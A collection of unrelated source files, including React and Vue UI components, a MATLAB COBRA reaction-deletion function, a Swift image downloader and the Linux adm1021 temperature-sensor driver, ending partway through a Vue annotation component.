<div className="mt-2 flex items-center justify-center">
<div className="flex-auto">
<div className="text-center">
<h2 className="text-black text-2xl font-bold mb-4">
Verify Email
</h2>
<p className="text-sm text-gray-500">
Follow link to <b>{email}</b> to complete signup. If you
don’t see it, you may need to check your{" "}
<b>spam folder.</b> Please reload periodically if you have
successfully verified your email.
</p>
<div className="mt-20">
{countdown === 0 ? (
<>
<Link href="/">
<a className="inline-flex mr-4 justify-center px-4 py-2 text-sm font-medium text-yellow-400 bg-white border border-yellow-400 rounded-md focus-visible:ring-2 focus-visible:ring-offset-2">
Back to Home
</a>
</Link>
<button
type="button"
className="inline-flex justify-center px-4 py-2 text-sm font-medium text-yellow-900 bg-yellow-200 border border-transparent rounded-md hover:bg-yellow-300 focus:outline-none focus-visible:ring-2 focus-visible:ring-offset-2 focus-visible:ring-yellow-600"
onClick={onResend}
>
Resend
</button>
</>
) : (
<button
disabled={true}
type="button"
className="inline-flex justify-center px-4 py-2 text-sm font-medium text-gray-900 bg-gray-200 border border-transparent rounded-md"
onClick={() => {}}
>
{countdown}
</button>
)}
</div>
</div>
</div>
<div className="flex-none pt-12">
<Image src={emailVerifPic} width={500} height={500} />
</div>
</div>
</div>
</Transition.Child>
</div>
</Dialog>
</Transition>
);
};
EmailVerification.propTypes = {
isOpen: PropTypes.bool,
email: PropTypes.string,
countdown: PropTypes.number.isRequired,
onResend: PropTypes.func,
};
export { EmailVerification }; |
import React, { memo} from "react";
import { BsCartPlusFill } from "react-icons/bs";
const ProductCard = memo(({ id, img, price, descrip, name, addToCart,itemsInCart }) => {
return (
<div className="flex w-60 h-[310px] shadow-gray-300 flex-col rounded-xl items-center p-3 m-4 shadow-xl hover:scale-110 duration-300 ease-in-out transition-all">
<img
className=" w-[90%] h-[60%] object-contain"
src={img}
alt="cardimage"
/>
<div className="flex w-full h-[10%] flex-row justify-around items-center ">
<h2 className="text-md font-bold">{name}</h2>
<h2 className="text-sm font-bold">{price}</h2>
</div>
<h3 className="text-sm pt-4 h-[10%] text-gray-400">
{descrip.slice(3, -4)}
</h3>
{itemsInCart?.includes(name) ? (
<h3 className="font-bold text-sm text-pink-800 mt-6 ">Added to Cart</h3>
) : (
<BsCartPlusFill
className="mt-3 h-[20%] text-2xl text-rose-800 hover:text-rose-900 cursor-pointer transition-all"
onClick={() => addToCart(id, 1)}
/>
)}
</div>
);
});
export default ProductCard; |
function [grRatio,grRateKO,grRateWT,hasEffect,delRxn,fluxSolution] = singleRxnDeletion(model,method,rxnList,verbFlag)
%singleRxnDeletion Performs single reaction deletion analysis using FBA,
%MOMA or linearMOMA
%
% [grRatio,grRateKO,grRateWT,hasEffect,delRxns,hasEffect] = singleGeneDeletion(model,method,rxnList,verbFlag)
%
%INPUT
% model COBRA model structure including reaction names
%
%OPTIONAL INPUTS
% method Either 'FBA', 'MOMA', or 'lMOMA' (Default = 'FBA')
% rxnList List of reactions to be deleted (Default = all reactions)
% verbFlag Verbose output (Default = false)
%
%OUTPUTS
% grRatio Computed growth rate ratio between deletion strain and wild type
% grRateKO Deletion strain growth rates (1/h)
% grRateWT Wild type growth rate (1/h)
% hasEffect Does a reaction deletion affect anything
% delRxn Deleted reacction
% fluxSolution FBA/MOMA/lMOMA fluxes for KO strains
%
% Richard Que 12/04/2009
% Based on singleGeneDeletion.m written by Markus Herrgard
if (nargin < 2)
method = 'FBA';
end
if (nargin < 3)
rxnList = model.rxns;
else
if (isempty(rxnList))
rxnList = model.rxns;
end
end
if (nargin < 4)
verbFlag = false;
end
nRxns = length(model.rxns);
nDelRxns = length(rxnList);
solWT = optimizeCbModel(model,'max', 'one'); % by default uses the min manhattan distance norm FBA solution.
grRateWT = solWT.f;
grRateKO = ones(nDelRxns,1)*grRateWT;
grRatio = ones(nDelRxns,1);
hasEffect = true(nDelRxns,1);
fluxSolution = zeros(length(model.rxns),nDelRxns);
delRxn = columnVector(rxnList);
if (verbFlag)
fprintf('%4s\t%4s\t%10s\t%9s\t%9s\n','No','Perc','Name','Growth rate','Rel. GR');
end
h = waitbar(0,'Single reaction deletion analysis in progress ...');
for i = 1:nDelRxns
if mod(i,10) == 0
waitbar(i/nDelRxns,h);
end
modelDel = changeRxnBounds(model,rxnList{i},0,'b');
switch method
case 'lMOMA'
solKO = linearMOMA(model,modelDel,'max');
case 'MOMA'
solKO = MOMA(model,modelDel,'max',false,true);
otherwise
solKO = optimizeCbModel(modelDel,'max');
end
if (solKO.stat == 1)
grRateKO(i) = solKO.f;
fluxSolution(:,i) = solKO.x;
else
grRateKO(i) = NaN;
end
if (verbFlag)
fprintf('%4d\t%4.0f\t%10s\t%9.3f\t%9.3f\n',i,100*i/nDelRxns,rnxList{i},grRateKO(i),grRateKO(i)/grRateWT*100);
end
end
if ( regexp( version, 'R20') )
close(h);
end
grRatio = grRateKO/grRateWT; |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<title>Bootstrap 101 Template</title>
<!-- Bootstrap -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="ide.css">
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<!--https://dl.dropboxusercontent.com/u/16408368/WebUI_FlowChart/index.html-->
<!--http://cpettitt.github.io/project/dagre-d3/latest/demo/tcp-state-diagram.html-->
<svg id="table-pane" xmlns="http://www.w3.org/2000/svg" style="margin: 5px; width: 100%; height: 800px;">
<defs>
<marker id="arrowHead" markerWidth="13" markerHeight="13" refx="6" refy="6"
orient="auto">
<path d="M2,2 L2,11 L10,6 L2,2" style="fill: #000000;" />
</marker>
</defs>
<g class="rtable" v-repeat="tables" v-attr="transform: getTransform(x, y)">
<rect class="rtable-border" ry="10" rx="10" x="0" y="0" width="128" height="88">
</rect>
<text class="rtable-label" y="25" text-anchor="middle" alignment-baseline="middle" x="64">
{{ tableName }}
</text>
</g>
<g class="rrel">
<path class="rrel-curve" v-repeat="rels" v-attr="d: path" marker-end="url(#arrowHead)"></path>
</g>
</svg>
<script src="http://cdnjs.cloudflare.com/ajax/libs/vue/0.11.5/vue.min.js"></script>
<script>
var RTABLE_WIDTH = 128;
var RTABLE_HEIGHT = 88;
var tablePane = new Vue({
el: '#table-pane',
data: {
tables: []
},
computed: {
rels: function () {
var rels = [];
for (var i = 0; i < this.tables.length; i++) {
var destination = this.tables[i];
var parents = destination.parents;
if (!parents) {
continue;
}
for (var j = 0; j < parents.length; j++) {
var source = parents[j];
var curveX1 = (source.x + RTABLE_WIDTH);
var curveY1 = (source.y + RTABLE_HEIGHT / 2);
var moveTo = 'M' + curveX1 + ',' + curveY1;
var curveX2 = destination.x;
var curveY2 = destination.y + RTABLE_HEIGHT / 2;
var tangentX1 = curveX1 + (curveX2 - curveX1) / 2;
var tangentY1 = curveY1;
var tangentX2 = curveX2 - (curveX2 - curveX1) / 2;
var tangentY2 = curveY2;
var curveTo = 'C' + tangentX1 + ',' + tangentY1 + ' ' +
tangentX2 + ',' + tangentY2 + ' ' +
curveX2 + ',' + curveY2;
rels.push({
source: source,
destination: destination,
path: moveTo + ' ' + curveTo
});
}
}
return rels;
}
}
});
function addTable(table) {
table.getTransform = function () {
return 'translate(' + this.x + ', ' + this.y + ')';
};
tablePane.tables.push(table);
return table;
}
table1 = addTable({
x: 100,
y: 100,
tableName: 'table1'
});
table21 = addTable({
x: 300,
y: 50,
tableName: 'table21',
parents: [table1]
});
table22 = addTable({
x: 300,
y: 150,
tableName: 'table22',
parents: [table1]
});
table3 = addTable({
x: 500,
y: 100,
tableName: 'table3',
parents: [table21, table22]
});
</script>
</body>
</html> |
import React, { useState } from 'react';
import { useSelector } from 'react-redux';
import makeStyles from '@material-ui/core/styles/makeStyles';
import Fade from '@material-ui/core/Fade';
import OutsideClickHandler from 'react-outside-click-handler';
import UserTooltip from 'components/Misc/UserTooltip';
import { ReactComponent as DiscordIcon } from 'assets/discordIcon.svg';
import activeUserStyles from '../styles/activeUser';
const useStyles = makeStyles(activeUserStyles);
interface Props {
name: string;
}
const ActiveUser = ({ name }: Props) => {
const classes = useStyles();
const user = useSelector((state: RootState) => state.user);
const [userTooltipOpen, setUserTooltipOpen] = useState(false);
const toggleUserTooltip = () => {
setUserTooltipOpen(!userTooltipOpen);
};
const closeTooltip = () => {
setUserTooltipOpen(false);
};
return (
<div
className={classes.container}
style={{ backgroundColor: user.name === name ? '#40434a' : 'inherit' }}
>
<div className={classes.iconContainer}>
<div className={classes.discordIconContainer} onClick={toggleUserTooltip}>
<DiscordIcon className={classes.discordIcon} />
<div className={classes.onlineCircle} />
</div>
<Fade in={userTooltipOpen} unmountOnExit mountOnEnter>
<div>
<OutsideClickHandler onOutsideClick={closeTooltip}>
<UserTooltip name={name} style={{ top: '3rem', right: '18.5rem', left: 'inherit' }} />
</OutsideClickHandler>
</div>
</Fade>
</div>
<div className={classes.username}>{name}</div>
</div>
);
};
export default ActiveUser; |
import Combine
import Foundation
import UIKit.UIImage
public final class ImageDownloader {
public static let shared = ImageDownloader()
private init() {}
public func loadImage(from url: URL) -> AnyPublisher<UIImage?, Never> {
URLSession.shared.dataTaskPublisher(for: url)
.map(\.data)
.map { UIImage(data: $0) }
.catch { _ in Just(nil) }
.subscribe(on: DispatchQueue.global(qos: .background))
.receive(on: RunLoop.main)
.eraseToAnyPublisher()
}
} |
/*
* adm1021.c - Part of lm_sensors, Linux kernel modules for hardware
* monitoring
* Copyright (c) 1998, 1999 Frodo Looijaard <frodol@dds.nl> and
* Philip Edelbrock <phil@netroedge.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/jiffies.h>
#include <linux/i2c.h>
#include <linux/hwmon.h>
#include <linux/hwmon-sysfs.h>
#include <linux/err.h>
#include <linux/mutex.h>
/* Addresses to scan */
static const unsigned short normal_i2c[] = {
0x18, 0x19, 0x1a, 0x29, 0x2a, 0x2b, 0x4c, 0x4d, 0x4e, I2C_CLIENT_END };
enum chips {
adm1021, adm1023, max1617, max1617a, thmc10, lm84, gl523sm, mc1066 };
/* adm1021 constants specified below */
/* The adm1021 registers */
/* Read-only */
/* For nr in 0-1 */
#define ADM1021_REG_TEMP(nr) (nr)
#define ADM1021_REG_STATUS 0x02
/* 0x41 = AD, 0x49 = TI, 0x4D = Maxim, 0x23 = Genesys , 0x54 = Onsemi */
#define ADM1021_REG_MAN_ID 0xFE
/* ADM1021 = 0x0X, ADM1023 = 0x3X */
#define ADM1021_REG_DEV_ID 0xFF
/* These use different addresses for reading/writing */
#define ADM1021_REG_CONFIG_R 0x03
#define ADM1021_REG_CONFIG_W 0x09
#define ADM1021_REG_CONV_RATE_R 0x04
#define ADM1021_REG_CONV_RATE_W 0x0A
/* These are for the ADM1023's additional precision on the remote temp sensor */
#define ADM1023_REG_REM_TEMP_PREC 0x10
#define ADM1023_REG_REM_OFFSET 0x11
#define ADM1023_REG_REM_OFFSET_PREC 0x12
#define ADM1023_REG_REM_TOS_PREC 0x13
#define ADM1023_REG_REM_THYST_PREC 0x14
/* limits */
/* For nr in 0-1 */
#define ADM1021_REG_TOS_R(nr) (0x05 + 2 * (nr))
#define ADM1021_REG_TOS_W(nr) (0x0B + 2 * (nr))
#define ADM1021_REG_THYST_R(nr) (0x06 + 2 * (nr))
#define ADM1021_REG_THYST_W(nr) (0x0C + 2 * (nr))
/* write-only */
#define ADM1021_REG_ONESHOT 0x0F
/* Initial values */
/*
* Note: Even though I left the low and high limits named os and hyst,
* they don't quite work like a thermostat the way the LM75 does. I.e.,
* a lower temp than THYST actually triggers an alarm instead of
* clearing it. Weird, ey? --Phil
*/
/* Each client has this additional data */
struct adm1021_data {
struct device *hwmon_dev;
enum chips type;
struct mutex update_lock;
char valid; /* !=0 if following fields are valid */
char low_power; /* !=0 if device in low power mode */
unsigned long last_updated; /* In jiffies */
int temp_max[2]; /* Register values */
int temp_min[2];
int temp[2];
u8 alarms;
/* Special values for ADM1023 only */
u8 remote_temp_offset;
u8 remote_temp_offset_prec;
};
static int adm1021_probe(struct i2c_client *client,
const struct i2c_device_id *id);
static int adm1021_detect(struct i2c_client *client,
struct i2c_board_info *info);
static void adm1021_init_client(struct i2c_client *client);
static int adm1021_remove(struct i2c_client *client);
static struct adm1021_data *adm1021_update_device(struct device *dev);
/* (amalysh) read only mode, otherwise any limit's writing confuse BIOS */
static bool read_only;
static const struct i2c_device_id adm1021_id[] = {
{ "adm1021", adm1021 },
{ "adm1023", adm1023 },
{ "max1617", max1617 },
{ "max1617a", max1617a },
{ "thmc10", thmc10 },
{ "lm84", lm84 },
{ "gl523sm", gl523sm },
{ "mc1066", mc1066 },
{ }
};
MODULE_DEVICE_TABLE(i2c, adm1021_id);
/* This is the driver that will be inserted */
static struct i2c_driver adm1021_driver = {
.class = I2C_CLASS_HWMON,
.driver = {
.name = "adm1021",
},
.probe = adm1021_probe,
.remove = adm1021_remove,
.id_table = adm1021_id,
.detect = adm1021_detect,
.address_list = normal_i2c,
};
static ssize_t show_temp(struct device *dev,
struct device_attribute *devattr, char *buf)
{
int index = to_sensor_dev_attr(devattr)->index;
struct adm1021_data *data = adm1021_update_device(dev);
return sprintf(buf, "%d\n", data->temp[index]);
}
static ssize_t show_temp_max(struct device *dev,
struct device_attribute *devattr, char *buf)
{
int index = to_sensor_dev_attr(devattr)->index;
struct adm1021_data *data = adm1021_update_device(dev);
return sprintf(buf, "%d\n", data->temp_max[index]);
}
static ssize_t show_temp_min(struct device *dev,
struct device_attribute *devattr, char *buf)
{
int index = to_sensor_dev_attr(devattr)->index;
struct adm1021_data *data = adm1021_update_device(dev);
return sprintf(buf, "%d\n", data->temp_min[index]);
}
static ssize_t show_alarm(struct device *dev, struct device_attribute *attr,
char *buf)
{
int index = to_sensor_dev_attr(attr)->index;
struct adm1021_data *data = adm1021_update_device(dev);
return sprintf(buf, "%u\n", (data->alarms >> index) & 1);
}
static ssize_t show_alarms(struct device *dev,
struct device_attribute *attr,
char *buf)
{
struct adm1021_data *data = adm1021_update_device(dev);
return sprintf(buf, "%u\n", data->alarms);
}
static ssize_t set_temp_max(struct device *dev,
struct device_attribute *devattr,
const char *buf, size_t count)
{
int index = to_sensor_dev_attr(devattr)->index;
struct i2c_client *client = to_i2c_client(dev);
struct adm1021_data *data = i2c_get_clientdata(client);
long temp;
int reg_val, err;
err = kstrtol(buf, 10, &temp);
if (err)
return err;
temp /= 1000;
mutex_lock(&data->update_lock);
reg_val = clamp_val(temp, -128, 127);
data->temp_max[index] = reg_val * 1000;
if (!read_only)
i2c_smbus_write_byte_data(client, ADM1021_REG_TOS_W(index),
reg_val);
mutex_unlock(&data->update_lock);
return count;
}
static ssize_t set_temp_min(struct device *dev,
struct device_attribute *devattr,
const char *buf, size_t count)
{
int index = to_sensor_dev_attr(devattr)->index;
struct i2c_client *client = to_i2c_client(dev);
struct adm1021_data *data = i2c_get_clientdata(client);
long temp;
int reg_val, err;
err = kstrtol(buf, 10, &temp);
if (err)
return err;
temp /= 1000;
mutex_lock(&data->update_lock);
reg_val = clamp_val(temp, -128, 127);
data->temp_min[index] = reg_val * 1000;
if (!read_only)
i2c_smbus_write_byte_data(client, ADM1021_REG_THYST_W(index),
reg_val);
mutex_unlock(&data->update_lock);
return count;
}
static ssize_t show_low_power(struct device *dev,
struct device_attribute *devattr, char *buf)
{
struct adm1021_data *data = adm1021_update_device(dev);
return sprintf(buf, "%d\n", data->low_power);
}
static ssize_t set_low_power(struct device *dev,
struct device_attribute *devattr,
const char *buf, size_t count)
{
struct i2c_client *client = to_i2c_client(dev);
struct adm1021_data *data = i2c_get_clientdata(client);
char low_power;
unsigned long val;
int err;
err = kstrtoul(buf, 10, &val);
if (err)
return err;
low_power = val != 0;
mutex_lock(&data->update_lock);
if (low_power != data->low_power) {
int config = i2c_smbus_read_byte_data(
client, ADM1021_REG_CONFIG_R);
data->low_power = low_power;
i2c_smbus_write_byte_data(client, ADM1021_REG_CONFIG_W,
(config & 0xBF) | (low_power << 6));
}
mutex_unlock(&data->update_lock);
return count;
}
static SENSOR_DEVICE_ATTR(temp1_input, S_IRUGO, show_temp, NULL, 0);
static SENSOR_DEVICE_ATTR(temp1_max, S_IWUSR | S_IRUGO, show_temp_max,
set_temp_max, 0);
static SENSOR_DEVICE_ATTR(temp1_min, S_IWUSR | S_IRUGO, show_temp_min,
set_temp_min, 0);
static SENSOR_DEVICE_ATTR(temp2_input, S_IRUGO, show_temp, NULL, 1);
static SENSOR_DEVICE_ATTR(temp2_max, S_IWUSR | S_IRUGO, show_temp_max,
set_temp_max, 1);
static SENSOR_DEVICE_ATTR(temp2_min, S_IWUSR | S_IRUGO, show_temp_min,
set_temp_min, 1);
static SENSOR_DEVICE_ATTR(temp1_max_alarm, S_IRUGO, show_alarm, NULL, 6);
static SENSOR_DEVICE_ATTR(temp1_min_alarm, S_IRUGO, show_alarm, NULL, 5);
static SENSOR_DEVICE_ATTR(temp2_max_alarm, S_IRUGO, show_alarm, NULL, 4);
static SENSOR_DEVICE_ATTR(temp2_min_alarm, S_IRUGO, show_alarm, NULL, 3);
static SENSOR_DEVICE_ATTR(temp2_fault, S_IRUGO, show_alarm, NULL, 2);
static DEVICE_ATTR(alarms, S_IRUGO, show_alarms, NULL);
static DEVICE_ATTR(low_power, S_IWUSR | S_IRUGO, show_low_power, set_low_power);
static struct attribute *adm1021_attributes[] = {
&sensor_dev_attr_temp1_max.dev_attr.attr,
&sensor_dev_attr_temp1_min.dev_attr.attr,
&sensor_dev_attr_temp1_input.dev_attr.attr,
&sensor_dev_attr_temp2_max.dev_attr.attr,
&sensor_dev_attr_temp2_min.dev_attr.attr,
&sensor_dev_attr_temp2_input.dev_attr.attr,
&sensor_dev_attr_temp1_max_alarm.dev_attr.attr,
&sensor_dev_attr_temp1_min_alarm.dev_attr.attr,
&sensor_dev_attr_temp2_max_alarm.dev_attr.attr,
&sensor_dev_attr_temp2_min_alarm.dev_attr.attr,
&sensor_dev_attr_temp2_fault.dev_attr.attr,
&dev_attr_alarms.attr,
&dev_attr_low_power.attr,
NULL
};
static const struct attribute_group adm1021_group = {
.attrs = adm1021_attributes,
};
/* Return 0 if detection is successful, -ENODEV otherwise */
static int adm1021_detect(struct i2c_client *client,
struct i2c_board_info *info)
{
struct i2c_adapter *adapter = client->adapter;
const char *type_name;
int conv_rate, status, config, man_id, dev_id;
if (!i2c_check_functionality(adapter, I2C_FUNC_SMBUS_BYTE_DATA)) {
pr_debug("detect failed, smbus byte data not supported!\n");
return -ENODEV;
}
status = i2c_smbus_read_byte_data(client, ADM1021_REG_STATUS);
conv_rate = i2c_smbus_read_byte_data(client,
ADM1021_REG_CONV_RATE_R);
config = i2c_smbus_read_byte_data(client, ADM1021_REG_CONFIG_R);
/* Check unused bits */
if ((status & 0x03) || (config & 0x3F) || (conv_rate & 0xF8)) {
pr_debug("detect failed, chip not detected!\n");
return -ENODEV;
}
/* Determine the chip type. */
man_id = i2c_smbus_read_byte_data(client, ADM1021_REG_MAN_ID);
dev_id = i2c_smbus_read_byte_data(client, ADM1021_REG_DEV_ID);
if (man_id < 0 || dev_id < 0)
return -ENODEV;
if (man_id == 0x4d && dev_id == 0x01)
type_name = "max1617a";
else if (man_id == 0x41) {
if ((dev_id & 0xF0) == 0x30)
type_name = "adm1023";
else if ((dev_id & 0xF0) == 0x00)
type_name = "adm1021";
else
return -ENODEV;
} else if (man_id == 0x49)
type_name = "thmc10";
else if (man_id == 0x23)
type_name = "gl523sm";
else if (man_id == 0x54)
type_name = "mc1066";
else {
int lte, rte, lhi, rhi, llo, rlo;
/* extra checks for LM84 and MAX1617 to avoid misdetections */
llo = i2c_smbus_read_byte_data(client, ADM1021_REG_THYST_R(0));
rlo = i2c_smbus_read_byte_data(client, ADM1021_REG_THYST_R(1));
/* fail if any of the additional register reads failed */
if (llo < 0 || rlo < 0)
return -ENODEV;
lte = i2c_smbus_read_byte_data(client, ADM1021_REG_TEMP(0));
rte = i2c_smbus_read_byte_data(client, ADM1021_REG_TEMP(1));
lhi = i2c_smbus_read_byte_data(client, ADM1021_REG_TOS_R(0));
rhi = i2c_smbus_read_byte_data(client, ADM1021_REG_TOS_R(1));
/*
* Fail for negative temperatures and negative high limits.
* This check also catches read errors on the tested registers.
*/
if ((s8)lte < 0 || (s8)rte < 0 || (s8)lhi < 0 || (s8)rhi < 0)
return -ENODEV;
/* fail if all registers hold the same value */
if (lte == rte && lte == lhi && lte == rhi && lte == llo
&& lte == rlo)
return -ENODEV;
/*
* LM84 Mfr ID is in a different place,
* and it has more unused bits.
*/
if (conv_rate == 0x00
&& (config & 0x7F) == 0x00
&& (status & 0xAB) == 0x00) {
type_name = "lm84";
} else {
/* fail if low limits are larger than high limits */
if ((s8)llo > lhi || (s8)rlo > rhi)
return -ENODEV;
type_name = "max1617";
}
}
pr_debug("Detected chip %s at adapter %d, address 0x%02x.\n",
type_name, i2c_adapter_id(adapter), client->addr);
strlcpy(info->type, type_name, I2C_NAME_SIZE);
return 0;
}
static int adm1021_probe(struct i2c_client *client,
const struct i2c_device_id *id)
{
struct adm1021_data *data;
int err;
data = devm_kzalloc(&client->dev, sizeof(struct adm1021_data),
GFP_KERNEL);
if (!data)
return -ENOMEM;
i2c_set_clientdata(client, data);
data->type = id->driver_data;
mutex_init(&data->update_lock);
/* Initialize the ADM1021 chip */
if (data->type != lm84 && !read_only)
adm1021_init_client(client);
/* Register sysfs hooks */
err = sysfs_create_group(&client->dev.kobj, &adm1021_group);
if (err)
return err;
data->hwmon_dev = hwmon_device_register(&client->dev);
if (IS_ERR(data->hwmon_dev)) {
err = PTR_ERR(data->hwmon_dev);
goto error;
}
return 0;
error:
sysfs_remove_group(&client->dev.kobj, &adm1021_group);
return err;
}
static void adm1021_init_client(struct i2c_client *client)
{
/* Enable ADC and disable suspend mode */
i2c_smbus_write_byte_data(client, ADM1021_REG_CONFIG_W,
i2c_smbus_read_byte_data(client, ADM1021_REG_CONFIG_R) & 0xBF);
/* Set Conversion rate to 1/sec (this can be tinkered with) */
i2c_smbus_write_byte_data(client, ADM1021_REG_CONV_RATE_W, 0x04);
}
static int adm1021_remove(struct i2c_client *client)
{
struct adm1021_data *data = i2c_get_clientdata(client);
hwmon_device_unregister(data->hwmon_dev);
sysfs_remove_group(&client->dev.kobj, &adm1021_group);
return 0;
}
static struct adm1021_data *adm1021_update_device(struct device *dev)
{
struct i2c_client *client = to_i2c_client(dev);
struct adm1021_data *data = i2c_get_clientdata(client);
mutex_lock(&data->update_lock);
if (time_after(jiffies, data->last_updated + HZ + HZ / 2)
|| !data->valid) {
int i;
dev_dbg(&client->dev, "Starting adm1021 update\n");
for (i = 0; i < 2; i++) {
data->temp[i] = 1000 *
(s8) i2c_smbus_read_byte_data(
client, ADM1021_REG_TEMP(i));
data->temp_max[i] = 1000 *
(s8) i2c_smbus_read_byte_data(
client, ADM1021_REG_TOS_R(i));
data->temp_min[i] = 1000 *
(s8) i2c_smbus_read_byte_data(
client, ADM1021_REG_THYST_R(i));
}
data->alarms = i2c_smbus_read_byte_data(client,
ADM1021_REG_STATUS) & 0x7c;
if (data->type == adm1023) {
/*
* The ADM1023 provides 3 extra bits of precision for
* the remote sensor in extra registers.
*/
data->temp[1] += 125 * (i2c_smbus_read_byte_data(
client, ADM1023_REG_REM_TEMP_PREC) >> 5);
data->temp_max[1] += 125 * (i2c_smbus_read_byte_data(
client, ADM1023_REG_REM_TOS_PREC) >> 5);
data->temp_min[1] += 125 * (i2c_smbus_read_byte_data(
client, ADM1023_REG_REM_THYST_PREC) >> 5);
data->remote_temp_offset =
i2c_smbus_read_byte_data(client,
ADM1023_REG_REM_OFFSET);
data->remote_temp_offset_prec =
i2c_smbus_read_byte_data(client,
ADM1023_REG_REM_OFFSET_PREC);
}
data->last_updated = jiffies;
data->valid = 1;
}
mutex_unlock(&data->update_lock);
return data;
}
module_i2c_driver(adm1021_driver);
MODULE_AUTHOR("Frodo Looijaard <frodol@dds.nl> and "
"Philip Edelbrock <phil@netroedge.com>");
MODULE_DESCRIPTION("adm1021 driver");
MODULE_LICENSE("GPL");
module_param(read_only, bool, 0);
MODULE_PARM_DESC(read_only, "Don't set any values, read only mode"); |
import React, { useState } from "react";
import { useDispatch, useSelector } from "react-redux";
import { addUser } from "../slices/slice";
import { useNavigate } from "react-router-dom";
export default function Create() {
const [name, setName] = useState('')
const [email, setEmail] = useState('')
const users = useSelector((state) => state.users);
const dispatch = useDispatch();
const navigate = useNavigate()
const handSubmit = (event) => {
event.preventDefault();
dispatch(addUser({id: users[users.length - 1].id + 1, name, email}))
navigate('/')
}
return (
<div className='d-flex w-100 vh-100 justify-content-center align-items-center'>
<div className='w-50 border bg-secondary text-white p-5'>
<h3>Add New Users</h3>
<form onSubmit={handSubmit}>
<div>
<label htmlFor="name">Name</label>
<input type="text" name='name' className='form-control' placeholder='enter name'
onChange={e => setName(e.target.value)}/>
</div>
<div>
<label htmlFor="email">Email</label>
<input type="email" name='email' className='form-control' placeholder='enter email'
onChange={e => setEmail(e.target.value)}/>
</div>
<button className='btn btn-info'>Submit</button>
</form>
</div>
</div>
)
} |
<template>
<div class="annotation-mark"
:class="markIsSelected ? 'selected-mark' : ''">
<div class="annotation-mark-details">
<div class="annotation-mark-details-image">
<svg ref="icon">
</svg>
</div>
<div v-if="!editingMarkLabel"
class="annotation-mark-details-title"
@click="toggleThisSelectedMark">
{{ annotationMark.markLabel ? annotationMark.markLabel : "Freehand Mark" + (index + 1) }}
</div>
<div class="annotation-mark-details-title-edit"
v-else>
<CharacterCountWithSaveCancelButtons v-model="annotationMark.markLabel"
:characterLimit="60"
:size="fontSize"
@close="finishRenamingMark"/>
</div>
</div>
<div v-if="!editingMarkLabel && isEditable"
class="annotation-mark-details-options">
<AnnotationMarkOptions :show-menu="markOptionOpen"
@markOptionsClicked="markOptionsClicked"
@renameMark="renameMark"
@deleteMark="deleteMark"/>
</div>
</div>
</template>
<script lang="ts">
import Vue, { PropOptions } from "vue";
import { ImageAnnotationMarkModel } from "../../models/contribute-resource/blocks/annotations/imageAnnotationMarkModel";
import { ImageAnnotationMarkFreehandShapeData } from "../../models/contribute-resource/blocks/annotations/imageAnnotationMarkFreehandShapeData";
import AnnotationMarkOptions from "./AnnotationMarkOptions.vue";
import EditSaveFieldWithCharacterCount from "../../globalcomponents/EditSaveFieldWithCharacterCount.vue";
import CharacterCountWithSaveCancelButtons from "../../globalcomponents/CharacterCountWithSaveCancelButtons.vue";
import { ImageAnnotationColourEnum } from "../../models/contribute-resource/blocks/annotations/imageAnnotationColourEnum";
import { PathCoordinates } from "../../models/contribute-resource/blocks/annotations/pathCoordinates";
const SVG_NS = 'http://www.w3.org/2000/svg';
export default Vue.extend({
components: { CharacterCountWithSaveCancelButtons, EditSaveFieldWithCharacterCount, AnnotationMarkOptions },
props: {
annotationMark: { type: Object } as PropOptions<ImageAnnotationMarkModel>,
index: Number,
markOptionOpen: Boolean,
isEditable: Boolean,
annotationColour: Number,
markIsSelected: Boolean,
},
data() {
return {
minX: null,
minY: null,
maxX: null,
maxY: null,
scaleFactor: 20,
circleSize: 30,
editingMarkLabel: false,
fontSize: "small",
};
},
mounted() {
this.createIconCircle();
this.createPathImage();
},
watch: {
annotationMark: {
handler() {
this.createIconCircle();
this.createPathImage();
},
deep: true
},
annotationColour: function () {
this.createIconCircle();
this.createPathImage();
},
markIsSelected: {
handler() {
if (!this.markIsSelected) {
this.editingMarkLabel = false;
}
}
}
},
methods: {
createPathImage() {
let svgIcon = this.$refs.icon as any;
if (svgIcon) {
let shapeData = this.annotationMark.freehandMarkShapeData;
let lineColour = this.setLineColour(this.annotationColour);
if (shapeData?.pathCoordinates?.length != 1) {
let path = document.createElementNS(SVG_NS, 'path');
path.setAttribute('stroke', lineColour);
path.setAttribute('stroke-width', '2');
path.setAttribute('vector-effect', 'non-scaling-stroke');
path.setAttribute('fill', 'none');
let borderPath = document.createElementNS(SVG_NS, 'path');
borderPath.setAttribute('stroke', 'grey');
borderPath.setAttribute('stroke-width', '3');
borderPath.setAttribute('vector-effect', 'non-scaling-stroke');
borderPath.setAttribute('fill', 'none');
let d = this.createIconPathDAttribute(shapeData);
path.setAttribute("d", d);
borderPath.setAttribute("d", d);
svgIcon.appendChild(borderPath);
svgIcon.appendChild(path);
this.resetValues();
}
}
},
setLineColour(colourEnum: ImageAnnotationColourEnum): string {
switch (colourEnum) {
case ImageAnnotationColourEnum.Black:
return "black";
case ImageAnnotationColourEnum.White:
return "white";
case ImageAnnotationColourEnum.Red:
return "red";
case ImageAnnotationColourEnum.Green:
return "green";
default:
return "black";
}
},
createIconPathDAttribute(shapeData: any): string {
